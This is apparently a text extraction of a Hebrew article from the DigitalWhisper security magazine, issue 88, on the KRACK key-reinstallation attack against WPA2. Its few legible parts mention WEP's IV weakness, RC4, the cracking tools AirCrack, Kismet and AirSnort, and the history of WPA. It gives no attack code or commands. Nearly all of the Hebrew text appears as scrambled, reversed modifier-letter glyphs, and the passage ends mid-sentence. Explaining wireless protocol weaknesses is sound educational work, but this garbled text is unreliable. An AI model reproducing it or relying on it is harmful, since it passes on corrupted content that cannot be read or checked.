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˫˧˩˶ˣ˰ˢ ˶˟ˡ 

 ˪˷ ˢ˥˧˸˲ˢ ˧˶˟ˡ˪ ˫˧˞˟ˢ ˫˧˩ˣ˶˟ˢ ˭ˣ˧˪ˠˢ-88  ˪˷DigitalWhisper!˶˟ˬ˟ˣˮ ˭ˣ˧˪ˠ , 

˧ˠ˪˟ ˫˧˶˵ˣ˥ ˧ˮ˷ ˣˬ˯˶˲ ˷ˡˣ˥ˢ˧ ˢ˲˵˸ˬ ˸ˣˡˣ˞ ˫˧˦˶˲ ˫ ˢ˷ˡ˥˪˰ ˪ˣ˵ˣ˦ˣ˶˲ˢ WPA2ˢ˲˵˸ˬˢ ˸˞ ,  ˫ˢ

" ˫˷˟ ˣˮ˧˩KRaCK" .˯ˮ˩ˮ ˞˪  ,(˭ˣ˧˪˧ˠ˟ ˫˪˷ ˶ˬ˞ˬ ˫˩˪ ˷˧ ˨˩ ˫˷˪) ˢ˲˵˸ˬˢ ˪˷ ˫˧˧ˮ˩˦ˢ ˫˧˦˶˲˪ ˰ˠ˶˩

 ˫˧ˢˣ˟ˠ ˷ˣˬ˧˷ ˧˲˵˧ˢ ˫˰ ˧˸˧˸˷˸ ˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˸˧˟˧˦˵˲˞ ˢ˲˵˸ˬ ˸ˬ˯˶˲˸ˬ˷ ˫˰˲ ˪˩˟ ˨˞ ˣˬ˩WPA2 

˧˞ˡ˩ .ˣ˧˷˩˰ ˵˶ ˢ˸ˣ˞ ˣ˪˧ˠ ˢˬ˪ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ 

˩˸˯ˬ ˫˞˫˧˷˟˧ˢ ˫˧˦˶˲ˢ ˪˰ ˫˧˪  ˢ˞˶ˮ ˪˩ˢ˧ˮˣ˧ˠˢ˟ ˟˥˶ˮ ˡˣ˞ˬ ˰ˡ˧ ˷˧ ˫˧˶˵ˣ˥ˢ ˧ˮ˷˪ :-RF  ˞˪ ˣˤ)

˫ˣ˥˸˟ ˣˬ˯˶˲ ˫ˢ˷ ˢˮˣ˷˞˶ˢ ˢ˲˵˸ˬˢ s-Wirelessˢ ˪˰ ˱˶˲˶ˬ˷ ˧ˬˣ (-White Paper  ˸˞ ˪˟˵ˬ

ˣ˥˸ ˢˤ˷ ,˸˧˲˶ˠˣ˦˲˧˶˵ ˢ˲˵˸ˬ˟ ˶˟ˣˡˬ˷ ˫˷ˣ˶ˢ˥ˣ˴˧˲˪ ˶˸ˣ˧ ˟˩˶ˣˬ ˟˷˥ˮ ˢ˞˶ˮ˩˷ ˫ ˶xˣ ˰ˡ˧ˢ ˟

˩ .˫ˣ˥˸ˢ ˪˷ ˫˧˲ˮ˰ˢ ˶˞˷˟ ˣˬ˩ ˳ˣ˲ˮ ˞˪ ˣ˟ ˧˦˵˶˲ˢ ˢ˷˪ˣ˥ˢ˷ ˧ˮˣ˧ˠˢ ˢ˞˶ˮ ,ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˧˲ ˪˰˷ ˨

.ˢ˩ ˡ˰ ˢ˸ˢˣˤ ˞˪ 

˨ˣ˸ ,˸˞ˤ ˫˰  ˫˧˧ˮ˷ ˪˰ ˟˩˰˸ˢ˪ ˥ˬ˷˞ˣ ,˫˧ˮ˧˧ˮ˰ˬ ˡˣ˞ˬ ˫˧ˮˣ˸ˮ ˶˲˯ˬ ˫˧˪ˣ˰ ,˵ˬˣ˰˪ ˨ˬ˯ˬˢ ˪˷ ˢ˞˧˶˵

:˫ˢˬ 

¶  ˞ˣˢ ˭ˣ˷˞˶ˢ ˭ˣ˸ˮˢ˦˵˲˞ˢ ˸ˬ˶ ˸˞ ˭˧˦ˣ˪˥˪ ˱ˣ˷˥˪ ˱˵ˣ˸˪ ˶˷˲˞ˬ ˢ˲˵˸ˬˢ ˪˷ ˥˪˴ˣˬ ˰ˣ˴˧˟ :

˪ ˟˸ˮˢ ˭˧˟ ˨ˣˣ˸ˢ ˭˧˟˸ˡˬ˰ .ˢ˴˵ˢ 

¶  ˞ˣˢ ˧ˮ˷ˢ ˭ˣ˸ˮˢˢ˲˵˸ˬˢ ˸ˣ˟˩˶ˣˬ ˵˪˥ˢ :ˣ˸ˣ˞˷  ˡˣ˞ˬˢ ˫˧˟˪˷˟ ˞˴ˬˮ ˧˸˧˧˰˟˩ ˣˢ˧ˤ ˫˧˶˵ˣ˥ˢ

ˢ ˟˪˷ ˪˷ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˪˧˟˥ˢ ˸˥˞˟ ˷ˬˬ ,˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˫˧ˬˡ˵ˣˬ-Association ˶ˣˠ˶˧˦ˣ .

 ˢ˪˧˟˥ ˪˷ ˶ˤˣ˥ ˶ˣˡ˧˷ ˪˷ ˸ˬ˶˟ ˞ˣˢ ˢ˲˵˸ˬˢ˸ˡˡˣ˟.  ˢ˲˵˸ˬˢ˷ ˧ˣ˩˧˯ ˷˧ ,˸˧˦˯˧˦˦˯ ,ˢ˷˰ˬ˪ˣ

 ˫ˠ ˷˥˶˸˸.˧ˮˣ˴˧˥ ˱˵ˣ˸ ˪˷ ˸ˣ˟˶˰˸ˢ ˧˪˟ˬ 

 ˡ˥˧˟ˣ ˧ˮˣ˴˧˵ ˡˣ˞ˬ ˞ˣˢ ˫ˢˬ ˡ˥˞ ˪˩ ,ˣˮ˪˷ ˢ˶˵ˬ˟˷ ˭ˣˣ˧˩ˬ ?˪"ˮˢ ˫˧ˮˣ˸ˮˢ ˧ˮ˷ ˸˞ ˞˵ˣˣˡ ˭˧˧˴ˬ ˧ˮ˞ ˢˬ˪

.˶˸ˣ˧ ˣ˪˧˲˞ ˧ˮˣ˴˧˵ ˦˵˲˞ ˫˧˶˴ˣ˧ ˫ˢ˧ˮ˷ WPA2  ˭ˣ˩ˮˣ ,˶ˣ˷˰ ˪˰ˬ ˶˟˩ ˢ˲ ˞˴ˬˮ˷ ,ˡˣ˞ˬ ˳ˣ˲ˮ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ

 ˶˸ˣ˧˟ ˢ˥ˣ˦˟ˢ ˨˶ˡ˩ ˶ˡˠˣˬ ˞ˣˢ ˫ˣ˧ˢ˪˴ˬ ˣˮ˧˧ˢ .˫˩˪˷ ˸˧˦ˣ˥˪˞ˢ ˸˷˶ˢ ˪˰ ˢ˶˧ˬ˷˪ ˣ˟ ˣ˞˴ˬ˧ ˫˞˷ ˫˧˲

 ˢ˷˪ˣ˥-  ˞˧ˢ ˶ˣˤ˧˞˟ ˢ˧ˢ˸ ,˪ˣ˵ˣ˦ˣ˶˲˟ ˧ˬ˧ˮ˲ ˡˣ˞ˬˣ˷˶ˡˮ˷ ˸ˢ˸ˣ˞ ˸ˣˢˤ˪ ˧ˡ˩ ˫ˣ˥˸˟ ˢ˵ˣˬ˰ ˢˮ˟ˢ,  ˣ˞

 ˢˬ ˨˞ .(˸˶˥˞ ˢ˲˵˸ˬ ˪˷ ˟˧˦˧ˬ˧˶˲ ˢ˧ˢ˸ ˢˬ˴˰ ˞˧ˢ˷ :˥˧ˮˮ) ˸˧˯˥˧ ˧˶˰ˤˬ ˢ˧ˢ˧ ˢ˪˷ ˦˵˲˞ˢ˷

˞ˣˢ ˣˮ˪˷ ˢ˶˵ˬ˟ ˡˣ˞ˬ ˰˧˸˲ˬ˷ ˪˧˷ ˫˟ˣˢ˲˵˸ˬˢ :ˢ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˧ˮ˷ ˪˷ ˢˮ˧˞  ˢ˵ˣˬ˰ ˢˮ˟ˢ ˸˷˶ˣˡ

.˧˪˲ˣ˶˦˯˦˵ ˞ˣˢ ˢ˪˷ ˦˵˲˞ˢˣ ˪ˣ˵ˣ˦ˣ˶˲˟ 

 ˪˰ˣ˲˟ˣ ,˫˧˶˷˩ˣˬˬ ˶˸ˣ˧ ˢ˞˶ˮ˩ ˫ˢ˧ˮ˷ ,˪"ˮˢ ˫˧˶˵ˣ˥ˢ ˧ˮ˷˟ ˪ˤ˪ˤˬ ˞˪ ˢ˪˧˪˥ˣ ˯˥ ˧ˮ˞-  ˢ˷˪ˣ˥ ˣ˞˴ˬ ˫ˢ

 ˸˞ ˫ˢ˪ ˢ˧ˢ ˞˪ ˫˞ ˫ˠ˷ ˞˧ˢ ˧˪˷ ˢˮ˰˦ˢ ˨˞ .ˡˣ˞ˬ ˧˸˧˸˷˸ ˟˷˥ˮ˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˸˧˦˧˶˵ ˟˥˶ˮˢ ˰ˡ˧ˢ

ˢ ˫ˣ˥˸˟-RF  ˫ˠˣ ,ˢ˸ˣˢˤ˪ ˫˧˪ˣ˩˧ ˣ˧ˢ ˫ˢ- ˶˵ˢ ˭˲ˢ ˪˰ ˢ˲˵˸ˬ˟ ˶˟ˣˡˬ˷ ˭ˣ˩ˮ ,˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˧˲˶ˠˣ˦˲˧

˰ˣ˲˟ ˪˟˞.˸˧˲˶ˠˣ˦˲˧˶˵ ˧˲˵˸ˢ ˷ˣˡ˧˥ ˫ˣ˷ ˭˞˩ ˭˧˞ ˪ .˸˞ˤ˩˩ ˢ˸ˣ˞ ˟˧˷˥ˢ˪ ˭˸˧ˮ ˫˞ ˵˲˯˟ ˧ˮ˞ˣ 
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ˬ ˢ˲˵˸ˬ ,˪ˣ˵ˣ˦ˣ˶˲ˢ ˣ˸ˣ˞ ˪˰ ˸˶˥˞ ˢ˲˵˸ˬ ˸˴˵ˬ˟ ˢ˶˧˩ˤˬ ˢ˪˷ ˸ˣ˦˷˲ˢ ˸ˬ˶-2010  ˫˷˟

ˢ˸ˣ˞ ˣˮ˧˩ ˢ˪˷ ˫˧˪ˠˬˢ˷,ˢ˥˧ˡ˟˩ , "Hole 196" . ˞˧ˢ ˢ˸˧˧ˢ˸ˣˢˤ˪ ˭˸˧ˮ˷ ,˧ˣˢ˧ˤ˪ ˢ˦ˣ˷˲ ˨˩ ˪˩ s ˪˰ ˵˶

 ˡˣˬ˰ ˪˷ ˢ˞˧˶˵ ˧˲196 ˭˵˸ˢ ˶˲˯˟ IEEE 802.11. 

 ˪˩˸˯ˢ ˞˪ ˡ˥˞ ˱˞ ?˪ˤˬ ˪˷ ˭˧˧ˮ˰ ,ˢ˟ˣ˷˸ ˫˩˪ ˵˲˯˪ ˪ˣ˩˧ ˸ˬ˞˟ ˞˪ ˧ˮ˞ ?ˣ˧˷˩˰ ˵˶ ˢ˸ˣ˞ ˣ˪˧ˠ ˢˬ˪ ˤ˞

ˣ˥ ?˪ˣ˵ˣ˦ˣ˶˲˟ ˢˤˢ ˵˪˥ˢ ˪˰ ˸ˣ˟ˣ˷˸ˢˬ ˸˥˞ ˪˩˷ ˢ˞˶ˮ˩ ?˫˯˶˲˪ ˣˬ˧˩˯ˢ ˞˪ˣ ˶˟˰˟ ˢ˸ˣ˞ ˣ˪˧ˠ ˫˧˶˵

 ˧˶˷˲˞ˣ ˢˮˣ˩ˮ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˣˤˢ ˢ˲˵˸ˬˢ ˸˞ ˣ˞˴ˬ ˫˞˷ ˞ˣˢ ,˥˧ˮˢ˪ ˶˷˲˞ ˭˩˷ ˢˬ ˨˞ .˸ˣ˧ˣˠ˷ ˭˪ˣ˩˷

 ˸ˣ˷˪ˣ˥ ˦˰ˬ ˞˪ ˡˣ˰ ˷˧ ˭˧˧ˡ˰ (ˢ˵ˣ˥˶ ˨˩ ˪˩ ˞˪ˢ ˢ˧˶ˣ˦˯˧ˢˢˬ ˢ˪˞˩ ˫˧˶˵ˬ˪ ˸ˣ˞ˬˠˣˡ ˸ˣ˶˷˰ ˡˣ˰ˣ)

˷ ,ˢˤˢ ˭ˣˮˠ˧˯˟˩˥ˬ ˵˶.˭˸ˣ˞ ˪˴ˮ˧ˣ ˢ˪ˠ˧ ˣˢ˷˧ˬ˷ ˸ˣ 

˩˪˷ ˸ˣ˧˸˷˸ˢ ˪˰ ˣ˩ˬ˯˸ ˪˞ ,˫˧ˬ˩˥ ˣ˧ˢ˧˸.˫ 

,ˢ˪˧ˢ˵ˢ ˸˟ˣ˦˪ ˣˮˬˤˬˣ ˣ˴˶ˬˬ ˰˧˵˷ˢ˷ ˧ˬ ˪˩˪ ˢ˟˶ ˢˡˣ˸ ˡ˧ˠˢ˪ ˣˮˮˣ˴˶˟ ,˭ˣ˧˪ˠˢ ˭˩ˣ˸ ˪˞ ˷ˠ˧ˮ˷ ˧ˮ˲˪ˣ 

˪ ˢ˟˶ ˢˡˣ˸˪˟ˣ˧ )tsif (˟˧˸ˮ, ˪ ˢ˟˶ ˢˡˣ˸˶ˡ '˧ˡˠ ˳˧˟ˣ˶ˡˮ˯˩˪˞' ,˪ ˢ˟˶ ˢˡˣ˸˶ˬˣ˸ ˡˡ˥ , ˢ˟˶ ˢˡˣ˸

˪˪˧˧˵ ˯ˮ ,˪ ˢ˟˶ ˢˡˣ˸˱˥˷ ˭ˣ˦˰ ,˪ ˢ˟˶ ˢˡˣ˸˫˰˧˪ ˭˧˧˦˷ x˪ ˢ˟˶ ˢˡˣ˸˪˟ˣ˧ ˢ˧˦˰. 
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WPA2: Key Reinstallation AttaCK 

˸˞ˬ ) ˪˞˧˦˯˵ ˵˧˲˞cp77fk4r) ˪˟ˣ˧ˣ (tsif˟˧˸ˮ ( 

 

ˢˬˡ˵ˢ 

-˟16  ˫˧˶˵ˣ˥ˢ ˣˬ˯˶˲ ,˶˟ˣ˦˵ˣ˞˪Mathy Vanhoef x-Frank Piessens " ˶˵˥ˬˢ ˸˴ˣ˟˵ˬDistriNet ˰ˡ˧ˬ "

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˰ ˢ˲˵˸ˬ ˸ˣˡˣ˞ ˧ˮ˩˦WPA2 :ˣˮ˧˩ ˢ˸ˣ˞˷ 

"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" 

" :˶ˣ˴˧˵˟ ˣ˞KRACK." 

 ˪˷ ˫˧ˮˣ˷ˢ ˫˧˷ˣˬ˧ˬˢ ,ˢ˩ ˡ˰WPA2  ˸ˣ˸˷˶ ˪˰ ˭ˠ˞˪ ˶˸ˣ˧˟ ˢ˥ˣ˦˟ˢ ˨˶ˡ˩ ˣ˟˷˥ˮWireless ˭ˢ ,

ˣ˞˴ˬˮ ˫˞ ˫ˠˣ ,˫˧ˮˣˠ˶˞˩ ˭ˢˣ ˫˧˧˸˧˟ ˫˧˷ˬ˸˷ˬ˩  ˥ˣ˩ ˣ˷˶ˡ ˭ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˰ ˸ˣˮˣ˷ ˸ˣ˲˵˸ˬ ˣˬ˯˶ˣ˲ˣ

 ˣ˪˞ ˸ˣ˶ˣ˷ ˸˟˧˸˩˪ ˭ˣ˩ˮˣ) ˶˶ˣ˰ ˪"ˮˢ ˫ˣ˯˶˲ˢ .˸ˣ˧˦˵˶˲ ˞˪ ˦˰ˬ˩˪ ˭˸ˣ˞ ˨˲ˢ ˶˷˞ ˭˦˵ ˞˪ ˟ˣ˷˧˥-  ˭˧˧ˡ˰

 ˫ˠˣ ˸ˣˢˣ˟ˠ ˡˣ˟˧˰ ˸ˣ˪ˣ˩˧ ˱˵ˣ˸ˢˬ ˢ˩˧˶˴ˬ ˢˮ˧˞ ˪"ˮˢ ˢ˲˵˸ˬˢ ˭˩˷ ,˫ˣ˥˸˟ ˢˮ˦˵ ˞˪ ˢ˪ˢ˟ (˶˶ˣ˰ˬ- 

˪˪˩ ˦˰ˬ˩˪ ˸˧˟˧˦˵˲˞ ˞˧ˢ˷ ˞˴ˬˮ ˢ ˪˴˞ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˫˧ˮˣ˷ˢ ˫˧˷ˣˬ˧ˬˢ-Vendor-.˫˧ˮˣ˷ˢ ˫˧ 

 ˡ˰ˣ ˭˧ˡˢ ˫ˣ˧ ˣˢˤ˷ ˢˮ˵˯ˬ˪ ˣ˰˧ˠˢ˷ ˫˧˶˵ˣ˥ˬ ˪˥ˢ ˣ˪˷ ˸ˣ˩˪˷ˢˢ ˪˰ˣ ˶˵˥ˬˢ ˪˰ ˟˸˩ˮ ˶˟˩ ˢ˟˶ˢ

 .˧˸˶ˣ˷˵˸ ˷˰˶ ˡˣ˰ˣ ˸ˣ˧˪ˣ˷ ˭ˮ˧ˢ ˢ˪˞ˢ ˸ˣ˧˰˟ˢˣ ˶˵˥ˬˢ ˪˷ ˸ˣ˩˪˷ˢˢ˷ ˣˮ˰˦˷ ˫˧˶˵ˣ˥˪ 

ˮˣˣ˪˶ˢ ˧ˮ˩˦ˢ ˰ˡ˧ˬˢ ˸˞ ˞˧˟ˢ˪ ˢ˯ˮˮ ˢˤ ˶ˬ˞ˬ˟ ˸ˬ˞˟ ˭ˢ ˢˬ ,˸˰˟ˣˮ ˞˧ˢ ˢˬˬ ,ˢ˲˵˸ˬˢ ˸ˣˡˣ˞ ˧˦

.˭ˮˣˠ˸ˢ˪ ˭˸˧ˮ ˡ˴˧˩ˣ ˢ˧˸ˣ˰˲˷ˢ 

?˰˵˶ ˸˴˵ ˧˪˟ ˶˷˲˞ ˨˧˞ ,˭˩ ˧ˮ˲˪ ˨˞ 

˸ˣ˧˦ˣ˥˪˞ ˸ˣ˸˷˶ ˪˰ ˢˮˠˢ 

 ˸ˣ˸˷˶ ˸˥˦˟˞˟ ˨˶ˣ˴ˢ ˪˰ (˭˧ˤˠˬˢ ˸˶ˠ˯ˬ˟ ˫ˠ) ˟˸˩ˮ ˸ˣ˟˶Wireless ,˧ˡˬ ˶˸ˣ˧ ˨˩ ˪˰ ˦˶˲ˮ ˞˪ ˭˩˪ˣ ,

 ˭˧˟ˢ˪ ˷˧˷ ˶˸ˣ˧˟ ˢ˟ˣ˷˥ˢ ˢˡˣ˵ˮˢ ˨˞˪˞ ˸ˣ˸˷˶˪ ˸ˣ˧ˣˣ˵ ˸ˣ˸˷˶ ˭˧˟ ˧˸ˣˢˬˢ ˪ˡ˟ˢˢ˷ ˞˧ˢ ˭˧˧ˮ˰˟-

˪˞ ˸ˣ˸˷˶˟˷ ˞ˣˢ ˸ˣ˧˦ˣ˥- ˨˩ˬ ˶˸ˣ˧ˣ) ˥ˣ˵˪ˢ ˪˷ ˵˧ˣˡˬˢ ˫ˣ˵˧ˬˢ ˢˬ ˸˰ˡˣ˧ ˢˮ˧˞ ˶˯ˬˬˢ ˸ˡˣ˵ˮ ˸ˣ˧˦ˣ˥

-  ˰ˡ˧ˬˢ ˸˞ ˧˲˧˴˲˯ˢ ˥ˣ˵˪˪ ˥ˣ˪˷˪ ˨˶ˡ ˢ˪ ˭˧˞ ,˫ˣ˧ˢ˪ ˭ˣ˩ˮˣ (˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ ˸ˣˮ˸˷ˢ˪ ˪ˣ˩˧ ˥ˣ˵˪ˢ ˫ˣ˵˧ˬ

ˢ˪ ˸ˮˬ ˪˰ .˧˷˧˞ ˭˲ˣ˞˟ ˱˞ ,˦˪˥ˢ˟ ?˭˩ˣ˯ˬ ˰ˬ˷ˮ .˸˷˶ˢ ˪˪˩˪ ˶˧ˣˣ˞˟ ˳˲ˣˬ ˰ˡ˧ˬˢ ,ˣˤ ˢ˧˰˟ ˫˰ ˡˡˣˬ˸

˶˟- ˶˟ˣ˥ˬ˷ ˧ˬ ˪˩˷ ˰ˡˣ˧ ˢ˧ˢ ˞ˣˢ ˫˞ ˵ˮ˟ˢ ˭ˣ˟˷˥˪ ˣ˪˷ ˸ˣˢˡˤˢˢ ˧˦˶˲ ˸˞ ˥ˣ˪˷˪ ˤ˰ˬ ˢ˧ˢ ˞˪ ˸˰ˡ

ˬ ˢ'˶˟˥ˢ ˫ˠ ˣ˟˷˥ ˨˩ ˵ˣ˧ˡ˟ˣ .˰ˡ˧ˬ˟ ˸ˣ˲˴˪ ˶˸ˣ˧˟ ˦ˣ˷˲ˢ ˭˲ˣ˞˟ ˪ˣ˩˧ ˸˷˶˪-IEEE ˸˯ˡˮˢ ˸˰˟ ˭˩˪ˣ ,

 ˭˵˸ˢ802.11  ˫˷˟ ˸˧˪ˮˣ˧˴˲ˣ˞ ˢˮ˲˴ˢ ˸˟˩˷ ˣ˯˧ˮ˩ˢ ˫ˢWEP  ˪˷ ˶ˣ˴˧˵)Wired Equivalent Privacy.( 
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 ˸ˣ˞˯˶ˠ˟ ˭ˢ ,ˡˣ˞ˬ ˳ˣ˲ˮ ˢ˧ˢ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲64bit WEP  ˪˷ ˥˸˲ˬ˟ ˷ˣˬ˧˷˪)40bit x-IV  ˪˷24bit ˭ˢˣ (

 ˸ˣ˞˯˶ˠ˟128bit WEP  ˪˷ ˥˸˲ˬ˟ ˷ˣˬ˧˷˪)104bit x-IV  ˪˷24bit ˸ˣ˧˦ˣ˥˪˞ˢ ˸ˣ˸˷˶ˢ ˭ˡ˧˰ ˸˪˧˥˸˟ˣ ,(

˪ ˟˷˥ˮ- ˸˞ ˣ˪ ˭˧˞˷ ˧ˬ ˨˩ˣ ,˸˷˶ˢ ˡˣ˟˰˸ ˢ˧˟ˠ ˪˰˷ ˢˮ˲˴ˢ ˸˟˩˷ ˵˲˯˪ ˞ˣˢ ˭ˣ˧˰˶ˢ ."˥ˣ˦˟ ˵˧˲˯ˬ"

.˭˩ˣ˸ˢ ˸˞ ˭˧˟ˢ˪ˣ ˥ˮ˰˲˪ ˪ˣ˩˧ ˞˪ ˨˞ ,˶ˡ˸ˢ ˸˞ ˱˧ˮ˯ˢ˪ ˪ˣ˩˧ ˫ˮˬˣ˞ ,˥˸˲ˬˢ 

 ˧˩ ˣ˞˶ˢ ˫˧˶˵˞ˢ˷ ˧ˮ˲˪ ˶˧ˣˣ˞˟ ˫˧˦˧˟ ˢ˟˶ˢ ˣ˶˟˰ ˞˪˷ ˰ˡˣ˧ ,ˢ˧˶ˣ˦˯˧ˢ ˸˴˵ ˶˧˩ˬ ˶˷˞ ˫˧˞˶ˣ˵ˢˬ ˧ˬ

"ˮˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ˪ˣ ˢˢˣ˟ˠ ˵˧˲˯ˬ ˢˬˣ˥ ˞˪ ˞ˣˢ ˪-WEP  ˭ˣˠ˩ ˫˧˪˷˩ .˫˧˧˯˧˯˟ ˫˧˪˷˩ˣ ˸ˣˮˣ˶˯˥ ˶˲˯ˬ

 ˸ˣ˷˪ˣ˥ˢ ˢ˯ˡˮˢ˟ ˪˷WEP  ˰ˠ˶˟˷ ˸˶ˬˣ˞ ˸˞ˤ ,˥˸˲ˬˢ ˣ˸ˣ˞˟ ˸ˮ˲˴ˣˬ ˸˷˶ˢ ˪˪˩˷ ˢˡ˟ˣ˰ˢ ˸ˬˠˣˡ˩

 ˧˸ˮˣ˩˷ˢ ˢ˲˵ˢ ˸˧˟ ˪˷ ˸˷˶˟ ˢ˷˧˪ˠ˷ ˨˩) ˢ˶ˣ˟˰˸ˢ ˪˪˩˪ ˭˧ˤ˞ˢ˪ ˪ˣ˩˧ ˧ˮ˞ ˸˷˶ˢ ˸˞ˬ˯˧˯ ˸˞ ˧˪ ˷˧˷

˟ ˸ˮˠˣˬˢ-WEP ˰ ˸ˣ˷˪ˣ˥ ˣ˞ .(˶˥˞ ˥ˣ˵˪ ˪˩˪ ˧ˣ˪ˠˣ ˭˧ˬˤ ˢ˧ˢ˧ ˧˪˷ ˰ˡ˧ˬˢ ˧˩ ,ˢ˥ˣ˦˟ ˢˮ˧˞ ˢˬ˯˧˯ ˫

 ˷ˣˬ˧ˬ˟ ˪˷WEPˢ ˸˥˧˪˷ ˸ˬˠˣˡ˩ ,-IV ˟ ˷ˣˬ˧˷ ˣ˞ ˧ˣ˪ˠ ˭˲ˣ˞˟-IV ) ˡˣ˞ˬ ˷˪˥24bit  ˣˮ˪ ˭˸ˣˮ

16,777,215 ˪ ˸ˣˮˣ˷ ˸ˣ˧˴˲ˣ˞-IVˢ ˣ˸ˣ˞˟ ˶ˤˣ˥ ˷ˣˬ˧˷˪ ˧ˣ˩˧˯ˢ ˸˞ ˸˧˸ˣ˰ˬ˷ˬ ˪˧ˡˠˬ˷ ˢˬ ,-IV ˨˩ˣ (

 ˯˯ˣ˟ˬˢ ˢˮ˲˴ˢˢ ˭ˣˮˠˮˬ ˸˷˪˥ˢ˪RC4. 

 ˫ˣˤ˧˪ ˢ˧˲˶ˠˣ˦˲˧˶˵˟ ˪˪˩ ˭˧˟ˬ ˞˪˷ ˧ˬ˪ ˫ˠ ˣ˶˷˲˞˷ ˫˧˪˩ˣ ˫˧˦˲˧˶˵˯ ˪˷ ˟˶ ˶˲˯ˬ ˣ˟˸˩ˮ ˭ˬˤˢ ˣ˸ˣ˞˟

 ˸ˣ˸˷˶˪ ˳ˣ˶˲˪ˣ ˣ˪˞ ˸ˣ˲˵˸ˬWEP ˫˧˪˩ˢ ˭ˣˠ˩ ,AirCrack ,Kismet ,AirSnort ˣ˪˥˞ ˠˮ˧˵˞ˢˢ ˸ˣ˪˧ˢ˵ .

 ˧˯˧˦˶˩ ˪˰ ˳˧˪ˬˢ˪Wireless  ˶˷˞ ˫˧˧ˮˣ˴˧˥ ˶˩ˬ˧ˢ˪ ˣ˪˥ˢˣ ˣ˪˞ ˫˧˪˩˟ ˷ˣˬ˧˷˪ ˫˧˴˪ˬˣˬKit- ˫˧˧ˡˣ˰˧ ˫˧

.˸ˣ˧˦ˣ˥˪˞ ˸ˣ˸˷˶˪ ˢ˴˧˶˲˪ 

 ˸ˣ˸˷˶˟ ˷ˣˬ˧˷ˢ ˸˧˸ˣ˰ˬ˷ˬ ˢ˪˰ ,ˣ˪˞ ˫˧˧ˣ˪˧ˠ˪ ˪˧˟˵ˬ˟Wireless ,˧˵˯˰ˢ ˵˷ˬ˟ ˭ˢˣ ˧˸˧˧˟ˢ ˵˷ˬ˟ ˭ˢ ,

ˣ˧˦ˣ˥˪˞ ˸ˣ˸˷˶ ˷ˣ˶˲˪ ˣ˪˥ˢ ˸ˣ˶˟˥ ˶˸ˣ˧ˣ ˶˸ˣ˧ ,˫˧˧˦ˣ˥˪˞ ˫˧˟˸ˮ ˣˮ˧˵˸ˢ ˫˧˧˸˧˟ ˫˧˷ˬ˸˷ˬ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˸

ˢ ˫ˣ˵ˬ˟-LAN  ˸˞˧˴˧ ˫˰ ˡ˧˧ˮ ˟˷˥ˬ ˸ˣˮ˵˪ ˭˸˧ˮ ˞˪ ˶˟˩ ˫ˣ˧˩˷ ˨˩ ,˶˩ˣˬˢˣ ˟˧˟˥ˢRJ45 ˪˪˩˟é 

 ˭ˣˠ˩ ,ˢˤ ˪ˣ˵ˣ˦ˣ˶˲˪ ˸ˣ˥˲ ˫˧˧ˬ˷˶ˣ ˶˸ˣ˧ ˫˧˧ˬ˷˶ ˫˧˶ˣ˲˧˷ ˣ˲˯ˣˮ ,˸ˣ˲˯ˣˮˣ ˣ˪˞ ˸ˣ˟˧˯ˬWEP2, WEPPlus, 

Dynamc WEP˧˷ˢ ˡ˥˞ :˞ˬˠˣˡ˪) ˧˶ˣ˵ˬˢ ˷ˣˬ˧ˬ˟ ˣ˪˰˷ ˸ˣ˧˰˟ˢ ˫˰ ˸˶˥˞ ˡˡˣˬ˸ˬ ˷ˣˬ˧ˬ ˪˩ , ˫˧˧ˣˮ

 ˣ˸˧˞ ˞˧˟ˢ˷WEP2 ˢˣ ˥˸˲ˬˢ ˸˪ˡˠˢ ˢ˧ˢ-IV ˪-128bit  ˣ˸ˣ˞˟ ˶ˤˣ˥ ˷ˣˬ˧˷˪ ˧ˣ˩˧˯ˢ ˸˞ ˭˧˦˵ˢ˪ ˨˩ˣIV ,(

.ˢ˷ˡ˥ ˢˮˠˢ ˸˟˩˷ ˟ˣ˸˩˪ ˞˪˞ ˯ˣˮˬ ˢ˧ˢ ˞˪˷ ˢ˞˶ˮ ,˪ˣ˵ˣ˦ˣ˶˲˟ ˣ˧ˢ˷ ˫˧˲˯ˣˮˢ ˫˧˪˷˩ˢ ˪˷˟ ˨˞ 
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 ˪˰ ˸˴˵WPA x-WPA2 

 ˸ˮ˷˟ .ˣˮ˪ˣ˩ ˪˷ ˧ˬˣ˧ ˫ˣ˧ˢ ˱ˣˮ˟ ˫˧˥˧˩˷ ˸ˣ˧ˢ˪ ˣ˩˲ˢ ˫˧˧˦ˣ˥˪˞ ˸˶ˣ˷˵˸ ˧˪ˣ˵ˣ˦ˣ˶˲2004 IEEE  ˪˰ ˣ˰˧ˡˣˢ

 ˭˵˸ˢ802.11i  ˪˰ ˣ˸˶ˠ˯ˬ˟ˣ ˪ˣ˵ˣ˦ˣ˶˲ ˶ˣ˶˥˷WPA2  ˪ˣ˵ˣ˦ˣ˶˲˪ ˠˣ˶ˡ˧˷ ˢˣˣ˧ˢ ˶˷˞WPA  ˦˰ˬ ˶˶˥ˣ˷˷

) ˭˩ ˧ˮ˲˪2003ˣˡ˧ˢ ˫˧˶˧˩ˬ ˣˮ˟ˣ˶˷ ˢ˴ˣ˲ˮˢ ˞˯˶ˠ˪ ˶˵˧˰˟ ˯˥˧˧˸ˮ ˣˮ˥ˮ˞ ˢˤ ˶ˬ˞ˬ˟ .( ˫˷˟ ˢ˰WPA2-

